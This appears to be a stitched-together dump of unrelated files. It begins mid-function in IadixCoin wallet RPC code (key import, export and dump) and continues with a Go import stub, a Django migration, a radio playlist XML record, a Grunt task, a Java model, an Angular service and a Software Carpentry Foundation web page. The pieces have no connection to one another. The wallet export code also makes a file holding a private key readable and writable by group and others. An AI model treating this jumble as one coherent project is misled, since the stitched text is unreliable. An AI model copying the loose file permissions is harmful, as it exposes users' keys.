    CBlockIndex *pindex = pindexBest;
    while (pindex && pindex->pprev && pindex->nTime > nTimeBegin - 7200)
        pindex = pindex->pprev;

    if (!pwalletMain->nTimeFirstKey || nTimeBegin < pwalletMain->nTimeFirstKey)
        pwalletMain->nTimeFirstKey = nTimeBegin;

    LogPrintf("Rescanning last %i blocks\n", pindexBest->nHeight - pindex->nHeight + 1);
    pwalletMain->ScanForWalletTransactions(pindex);
    pwalletMain->ReacceptWalletTransactions();
    pwalletMain->MarkDirty();

    if (!fGood)
        throw JSONRPCError(RPC_WALLET_ERROR, "Error adding some keys to wallet");

    return Value::null;
}
Value exportwallet(const Array& params, bool fHelp)
{
	CKey			newKey;
	CKeyID			keyID;
	CKey			vchSecret;
	Value			ret;
	string			strAddress;
	CBitcoinAddress address;
	CWalletDB		*cdb;
	CWallet			*pwalletNew;
	DBErrors		nLoadWalletRet;

	if (fHelp || params.size() != 3)
		throw runtime_error(
		"exportwallet <address> <filename> <secret>\n"
		"Export a wallet keys in a wallet file.");

	EnsureWalletIsUnlocked();

	strAddress = params[0].get_str();

	if (!address.SetString(strAddress))
		throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid IadixCoin address");
	if (fWalletUnlockStakingOnly)
		throw JSONRPCError(RPC_WALLET_UNLOCK_NEEDED, "Wallet is unlocked for staking only.");
	if (!address.GetKeyID(keyID))
		throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to a key");
	if (!pwalletMain->GetKey(keyID, vchSecret))
		throw JSONRPCError(RPC_WALLET_ERROR, "Private key for address " + strAddress + " is not known");
	newKey			=	CBitcoinSecret(vchSecret).GetKey();
	pwalletNew		= new  CWallet			  (params[1].get_str());
	cdb				= new  CWalletDB		  (params[1].get_str(), "cr+");
	nLoadWalletRet	= cdb->LoadWallet		  (pwalletNew);

	if (nLoadWalletRet != DB_LOAD_OK)
	{
		throw JSONRPCError(RPC_WALLET_ERROR, "Error creating new wallet");
		return Value::null;
	}
	pwalletNew->AddKey					  (newKey);
	pwalletNew->ScanForWalletTransactions (pindexGenesisBlock, true);
	//bitdb.dbenv.dbrename				  (NULL, params[1].get_str().c_str(), NULL, "wallet.dat", DB_AUTO_COMMIT);
	cdb->Close							  ();
	pwalletNew->SetDefaultKey			  (newKey.GetPubKey());
	pwalletNew->SetAddressBookName		  (pwalletNew->vchDefaultKey.GetID(), "iadix platform ICO");
	pwalletNew->EncryptWallet			  (params[2].get_str().c_str());

	//bitdb.CloseDb						  (params[1].get_str());
	delete cdb;
	delete pwalletNew;

	ret = (GetDataDir() / params[1].get_str()).string();

	boost::filesystem::permissions(ret.get_str(), boost::filesystem::add_perms | boost::filesystem::others_read | boost::filesystem::others_write | boost::filesystem::group_read | boost::filesystem::group_write);
	return ret;
}

Value dumpprivkey(const Array& params, bool fHelp)
{
    if (fHelp || params.size() != 1)
        throw runtime_error(
            "dumpprivkey <iadixcoinaddress>\n"
            "Reveals the private key corresponding to <iadixcoinaddress>.");

    EnsureWalletIsUnlocked();

    string strAddress = params[0].get_str();
    CBitcoinAddress address;
    if (!address.SetString(strAddress))
        throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid IadixCoin address");
    if (fWalletUnlockStakingOnly)
        throw JSONRPCError(RPC_WALLET_UNLOCK_NEEDED, "Wallet is unlocked for staking only.");
    CKeyID keyID;
    if (!address.GetKeyID(keyID))
        throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to a key");
    CKey vchSecret;
    if (!pwalletMain->GetKey(keyID, vchSecret))
        throw JSONRPCError(RPC_WALLET_ERROR, "Private key for address " + strAddress + " is not known");
    return CBitcoinSecret(vchSecret).ToString();
}

Value dumpwallet(const Array& params, bool fHelp)
{
    if (fHelp || params.size() != 1)
        throw runtime_error(
            "dumpwallet <filename>\n"
            "Dumps all wallet keys in a human-readable format.");

    EnsureWalletIsUnlocked();

    ofstream file;
    file.open(params[0].get_str().c_str());
    if (!file.is_open())
        throw JSONRPCError(RPC_INVALID_PARAMETER, "Cannot open wallet dump file");

    std::map<CKeyID, int64_t> mapKeyBirth;

    std::set<CKeyID> setKeyPool;

    pwalletMain->GetKeyBirthTimes(mapKeyBirth);

    pwalletMain->GetAllReserveKeys(setKeyPool);

    // sort time/key pairs
    std::vector<std::pair<int64_t, CKeyID> > vKeyBirth;
    for (std::map<CKeyID, int64_t>::const_iterator it = mapKeyBirth.begin(); it != mapKeyBirth.end(); it++) {
        vKeyBirth.push_back(std::make_pair(it->second, it->first));
    }
    mapKeyBirth.clear();
    std::sort(vKeyBirth.begin(), vKeyBirth.end());

    // produce output
    file << strprintf("# Wallet dump created by IadixCoin %s (%s)\n", CLIENT_BUILD, CLIENT_DATE);
    file << strprintf("# * Created on %s\n", EncodeDumpTime(GetTime()));
    file << strprintf("# * Best block at time of backup was %i (%s),\n", nBestHeight, hashBestChain.ToString());
    file << strprintf("#   mined on %s\n", EncodeDumpTime(pindexBest->nTime));
    file << "\n";
    for (std::vector<std::pair<int64_t, CKeyID> >::const_iterator it = vKeyBirth.begin(); it != vKeyBirth.end(); it++) {
        const CKeyID &keyid = it->second;
        std::string strTime = EncodeDumpTime(it->first);
        std::string strAddr = CBitcoinAddress(keyid).ToString();

        CKey key;
        if (pwalletMain->GetKey(keyid, key)) {
            if (pwalletMain->mapAddressBook.count(keyid)) {
                file << strprintf("%s %s label=%s # addr=%s\n", CBitcoinSecret(key).ToString(), strTime, EncodeDumpString(pwalletMain->mapAddressBook[keyid]), strAddr);
            } else if (setKeyPool.count(keyid)) {
                file << strprintf("%s %s reserve=1 # addr=%s\n", CBitcoinSecret(key).ToString(), strTime, strAddr);
            } else {
                file << strprintf("%s %s change=1 # addr=%s\n", CBitcoinSecret(key).ToString(), strTime, strAddr);
            }
        }
    }
    file << "\n";
    file << "# End of dump\n";
    file.close();
    return Value::null;
}


text:
package booklit

import (
	_ "github.com/go-bindata/go-bindata"
	_ "github.com/mna/pigeon"
)


text:
from __future__ import unicode_literals

from django.db import migrations, models

class Migration(migrations.Migration):

    dependencies = [
        ('deployments', '0001_initial'),
    ]

    operations = [
        migrations.AddField(
            model_name='deployment',
            name='boiler_efficiency',
            field=models.FloatField(blank=True, null=True),
        ),
        migrations.AddField(
            model_name='deployment',
            name='boiler_manufacturer',
            field=models.CharField(blank=True, max_length=255, null=True),
        ),
        migrations.AddField(
            model_name='deployment',
            name='boiler_model',
            field=models.CharField(blank=True, max_length=255, null=True),
        ),
        migrations.AddField(
            model_name='deployment',
            name='boiler_output',
            field=models.FloatField(blank=True, null=True),
        ),
        migrations.AddField(
            model_name='deployment',
            name='building_height',
            field=models.FloatField(blank=True, null=True),
        ),
        migrations.AddField(
            model_name='deployment',
            name='building_length',
            field=models.FloatField(blank=True, null=True),
        ),
        migrations.AddField(
            model_name='deployment',
            name='building_width',
            field=models.FloatField(blank=True, null=True),
        ),
        migrations.AddField(
            model_name='deploymentsensor',
            name='room_height',
            field=models.FloatField(default=2.4),
        ),
        migrations.AddField(
            model_name='deploymentsensor',
            name='room_length',
            field=models.FloatField(default=0),
        ),
        migrations.AddField(
            model_name='deploymentsensor',
            name='room_width',
            field=models.FloatField(default=0),
        ),
    ]


text:
<BroadcastMonitor>
  <updated>2015-08-09T17:52:36</updated>
  <stationName>Radio 6</stationName>
  <Current>
    <startTime>2015-08-09T17:51:20</startTime>
    <itemId>1000080605:0</itemId>
    <titleId>216035001</titleId>
    <itemCode>FJ198</itemCode>
    <itemReference></itemReference>
    <titleName>The Girl From Ipanema</titleName>
    <artistName>Stan Getz & Astrud Gilberto</artistName>
    <albumName></albumName>
    <CategoryCode>737</CategoryCode>
    <CategoryName>JAZZ</CategoryName>
    <itemDuration>168</itemDuration>
    <MultiMedia1></MultiMedia1>
    <MultiMedia2></MultiMedia2>
    <MultiMedia3></MultiMedia3>
    <MultiMedia4></MultiMedia4>
  </Current>
  <Next>
    <startTime>2015-08-09T17:54:13</startTime>
    <itemId>1000080605:0</itemId>
    <titleId>216038168</titleId>
    <itemCode>MW352</itemCode>
    <itemReference></itemReference>
    <titleName>Tutu</titleName>
    <artistName>Miles Davis</artistName>
    <albumName></albumName>
    <CategoryCode>737</CategoryCode>
    <CategoryName>JAZZ</CategoryName>
    <itemDuration>314</itemDuration>
    <MultiMedia1></MultiMedia1>
    <MultiMedia2></MultiMedia2>
    <MultiMedia3></MultiMedia3>
    <MultiMedia4></MultiMedia4>
  </Next>
</BroadcastMonitor>


text:
'use strict';

var fs = require('fs');

module.exports = function(grunt) {

  // Please see the Grunt documentation for more information regarding task
  // creation: http://gruntjs.com/creating-tasks

  grunt.registerMultiTask('ngcom', 'generator angular components by component.json', function() {
    // Merge task-specific and/or target-specific options with these defaults.
    var options = this.options({
      punctuation: '',
      separator: "\n"
    });

    var outputFile = options.target + '/ui.star.js';

    var in_array = function(search, array){
        for(var i in array){
            if(array[i] == search){
                return true;
            }
        }
        return false;
    }

    var dependencies = options.dependencies;
    var youchiose = options.filters;

    var allArr = [];

    var prefixStr = 'angular.module("ui.star", [';
    var suffixStr = ']);';

    var baseFileStr = '';
    for(var i in dependencies){
      baseFileStr += '"ui.star.'+ dependencies[i] +'",';
      allArr.push(dependencies[i].toLowerCase());
    }

    for(var i in youchiose){
      baseFileStr += '"ui.star.'+ youchiose[i] +'",';
      allArr.push(youchiose[i].toLowerCase());
    }

    baseFileStr = prefixStr + baseFileStr.substring(0, baseFileStr.length-1) + suffixStr + "\n";

    var src = '';
    // Iterate over all specified file groups.
    this.files.forEach(function(f) {
      // Concat specified files.
      src = f.src.filter(function(filepath) {
        // Warn on and remove invalid source files (if nonull was set).
        if (!grunt.file.exists(filepath)) {
          //grunt.log.warn('Source file "' + filepath + '" not found.');
          return false;
        } else {
          var filename = filepath.substring(filepath.lastIndexOf('/')+1,filepath.indexOf('.'));

          if( in_array(filename, allArr) ){
            return true;
          }
          return false;
        }
      }).map(function(filepath) {
        // Read file source.
        return grunt.file.read(filepath);
      }).join(grunt.util.normalizelf(options.separator));

      // Handle options.
      src += options.punctuation;

      // Write the destination file.
      grunt.file.write(outputFile, baseFileStr + src);
      // Print a success message.
      //grunt.log.writeln('File "' + f.dest + '" created.');
    });

  });

};


text:
package it.jaschke.alexandria.data.model;

/**
 * Created by kevinmenager on 14/12/15.
 */
public class Author {

    private String mEan;
    private String mAuthor;

    public String getEan() {
        return mEan;
    }

    public void setEan(String ean) {
        mEan = ean;
    }

    public String getAuthor() {
        return mAuthor;
    }

    public void setAuthor(String author) {
        mAuthor = author;
    }
}


text:
import { Injectable } from '@angular/core';
import {HttpClient, HttpResponse} from '@angular/common/http';
import {AppComponent} from '../app.component';
import {Contributor} from '../model/contributor';

@Injectable({
  providedIn: 'root'
})
export class ContributorService {

  private apiURL = AppComponent.getApiUrl();

  constructor(private httpClient: HttpClient) {
  }

  getContributorsForProject(projectId: number): Promise<HttpResponse<Contributor[]>> {
    return this.httpClient.get<Contributor[]>(this.apiURL + 'projects/' + projectId + '/contributors',
      {observe: 'response'}).toPromise();
  }

  getContributorsForFile(projectId: number, path: string, commitHash: string): Promise<HttpResponse<Contributor[]>> {
    return this.httpClient.post<Contributor[]>(this.apiURL + 'projects/' + projectId + '/contributors/path',
      {path, commitHash}, {observe: 'response'}).toPromise();
  }

  mergeContributors(contributors: Contributor[], displayName: string): Promise<HttpResponse<any>> {
    return this.httpClient.post<any>(this.apiURL + 'contributors/merge',
      {contributorIds: contributors.map(value => value.id), displayName},
      {observe: 'response'}).toPromise();
  }

}


text:
layout: page-fullwidth
permalink: /scf/
title: The Software Carpentry Foundation
minutes: https://github.com/swcarpentry/board/blob/master/minutes
redirect_from:
  - /scf/advisory-council.html
  - /scf/committee-roles.html
  - /scf/executive-director.html
  - /scf/governance.html
  - /scf/issue-escalation.html
  - /scf/membership.html
  - /scf/minutes.html
  - /scf/steering-committee.html
  - /scf/workshops.html
---

  The Software Carpentry Foundation oversees all aspects of Software Carpentry's operations.
  It has four components:

      The Membership includes
      every instructor who has taught at least twice in the past two calendar years,
      anyone who has done 30 days or more work for the SCF in the past calendar year,
      and anyone who has,
      in the opinion of the Steering Committee,
      made a significant contribution in the past year.
      Members elect the Steering Committee, and may also seek election to it.

      The Steering Committee makes all significant strategic and financial decisions for the Foundation.
      Its members are elected annually from and by the membership.

      The Advisory Council includes representatives of
      organizations that support the Software Carpentry Foundation's mission.
      The Steering Committee must consult with it when making significant strategic, contractual, or financial decisions.
      Every partner organization may appoint a representative,
      and the Steering Committee may co-opt additional persons to the Advisory Council from the wider community.

      The Executive Director is appointed by, and answers to, the Steering Committee.
      He or she is a paid employee of the Foundation, and is responsible for overseeing its day-to-day operations.

  The SCF also employs a Program Coordinator to match instructors to workshops,
  handle requests for instructor training,
  and so on.
  For more information on the SCF,
  please see this GitHub repository.

Staff

Executive Director

    {% include people/duckles.jonah.html %}

Program Coordinator

    {% include people/sane.maneesha.html %}

Emeritus Executive Director

    {% include people/wilson.g.html %}

Steering Committee (2015)

    {% include people/huff.k.html %}

    {% include people/davis.m.html %}

    {% include people/lagesen.k.html %}

    {% include people/williams.jason.html %}

    {% include people/chuang-howe.a.html %}

    {% include people/pawlik.a.html %}

    {% include people/silva.raniere.html %}

Meeting Minutes

  A summary of all Steering Committee resolutions can be found
  here.

2014

2014-12-16

2014-12-02

2014-11-18

2014-11-04

2014-10-14

2014-09-30

2014-09-16

2015

2015-10-08

2015-09-24

2015-08-26

2015-07-30

2015-07-16

2015-07-02

2015-06-18

2015-05-21

2015-04-23

2015-04-09

2015-03-26

2015-03-12

2015-02-26

2015-02-19

2015-02-12

2015-02-03

2015-01-20